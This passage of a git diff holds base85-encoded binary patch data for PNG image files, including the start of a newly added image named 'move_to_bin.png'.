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 literal 0 HcmV?d00001 diff --git a/Images/move_to_bin.png b/Images/move_to_bin.png new file mode 100644 index 0000000000000000000000000000000000000000..60e53c030a246629a2fea41448c2d13c7f6814dc GIT binary patch literal 119969 zcmd43bzGE7;Qwo(NJt4tODhOSEGZ%#5|T@=lFAYiOD>?&Eg&E*(!0RY%>vRXBFoZ< zbjy;<5_j<&&-a}ByYajK-9LP}&*(EV&-A=MpP8^{n#!a^^hB2~T_ROgQP8<`i2!uz z(p4?O>-dlXPDC00ugk7F%5s-V1{qiJ57%sEHDoVcDvKdLc|m}GzWG|k$o0~tTWuGA zE_XQoOX+boAA<{kun zcU$y*ed_U{2K&F(v+BRxeRB6^@;CRN9GaomUW$`w=2F@dN46G558P#4{c$Z{X!4`% z-M4~)tz&ol+$|V}LXTz+y$*3(r(3=Uk0s@JI*u~nt(u=j;E)mckbM2`SIhEqrAMlUjt-4(Xp+qEz2Euu-UGJ zPlsHNneiUz=EaZhoOhUn--#~}e?Z^^2wAOkWU*?${}+a!7kH5`a-qUcP|n}~h`qAN zd+{D&vfeW!G-~JtgI?vycsvw{I9RnBj-;r{F{=^U;UI6ty=GDrw7}wF`7f{w$ zlrYfa-!(?L=phPP=Iiw>tRd6}(#(}8Uf>UtS*TKk;orG%;hu_xnjN2~2c6H#oJiH5 